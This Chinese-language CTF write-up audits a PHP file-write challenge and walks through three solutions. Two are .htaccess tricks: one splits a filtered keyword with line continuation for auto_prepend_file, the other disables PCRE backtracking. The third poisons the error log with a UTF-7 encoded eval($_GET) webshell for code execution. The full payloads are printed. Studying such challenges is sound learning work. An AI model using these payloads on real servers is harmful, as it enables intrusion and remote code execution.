目录
前言:
如果有对 php.ini 选项不懂的可以看下:PHP: php.ini 配置选项列表 - Manual
代码审计😅
<?php
$files = scandir('./');
foreach($files as $file) { #循环文件
if(is_file($file)){
if ($file !== "index.php") { #如果文件不是index.php 删除。
unlink($file);
}
}
}
include_once("fl3g.php"); # 包含fl3g.php
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content']; #过滤 content 。
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename']; #文件名只能有 a-z .
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./'); #
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance"); #写入content到filename,追加 one chance。
?>
一个 写文件的功能,但是只能写 [a-z . ]的文件,且内容存在黑名单过滤,并且 内容结尾被追加了内容。
非预期解1:
这题 也是在ctfshow 里做过,既然文件名有限制,而且无法利用 fl3g.php ,那么只能在没有被过滤的.htaccess 上动手脚了:
.htaccess 文件支持对目录改变配置方法,就是在一个特定的目录防止一个包含一条或多条的文件
以作用于此目录和所有子目录。 作为用户,能用的命令受到限制,管理员可以通过 Apache的 AllowOverride 来配置 开启或关闭
最重要的是,.htaccess 文件中 可以使用 # 进行单行注释 且支持\来拼接上下两行语句。
先看这个:
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
本来我们是可以利用 .htaccess包含一个文件的,文件内容是过滤掉 file 了,但正因为 .htaccess支持 \ 来拼接上下两行语句,那么 我们就可以bypass掉file的过滤。
pyload:
php_value auto_prepend_fi
le ".htaccess"
# <?php phpinfo();?> \
非预期解2:
利用 .htaccess配置prce绕过正则匹配。
php_value pcre.backtrack_limit 0 # PCRE的回溯限制.
php_value pcre.jit 0 #是否使用 PCRE 的 JIT 编译.
if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
预期解:
利用 error_log结合 log_errors 自定义错误日志
.htaccess 文件中可以 自己定义 error_log ,更多配置可以在PHP: php.ini 配置选项列表 - Manual
思路:
首先 ,源码中自动包含了 fl3g.php ,因此只要控制include_path
便可以使这里include进来的fl3g.php
可以是任意目录下的某个文件,那么怎样才能控制 fl3g.php 的内容呢?
我们可以设置php log 中的error _log 这个选项。
利用 error_log(报错日志存储文职) 写入log到/tmp/fl3g.php ,再设置 include_path=/tmmp 即可让index.php 能够包含我们想要的文件,这里的报错可以通过 设置 include_path到一个不存在的文件夹 即可触发 包含时的报错,且 include_path的值 也会被输出到屏幕上解析。 即:
include_path=/tmp/xx/<?php phpinfo();?>
因为 tmp 下没有xx这个文件夹,所以就会报错, 而 error_log 就会把报错的信息<?php phpinfo();?>存放到 /tmp/fl3g.php中 源码进行包含 就会代码执行了。
然而,error_log 的内容默认时 htmlentities ,我们无法插入类似 <?php phpinfo();?> 的pyload ,那么怎么才能解决这个问题?
我们可以设置编码 来绕过限制。
步骤如下:
步骤1:
写入 .htaccess error_log 相关配置:
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767 #设置报错等级
php_value error_log /tmp/fl3g.php #设置 报错存入目录。
#
步骤2: 访问index.php 留下 error_log
步骤3: 写入 .htaccess 新的配置,设置编码:
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#
步骤4:再次访问 index.php?2= rce
总结:
.htaccess 的 技巧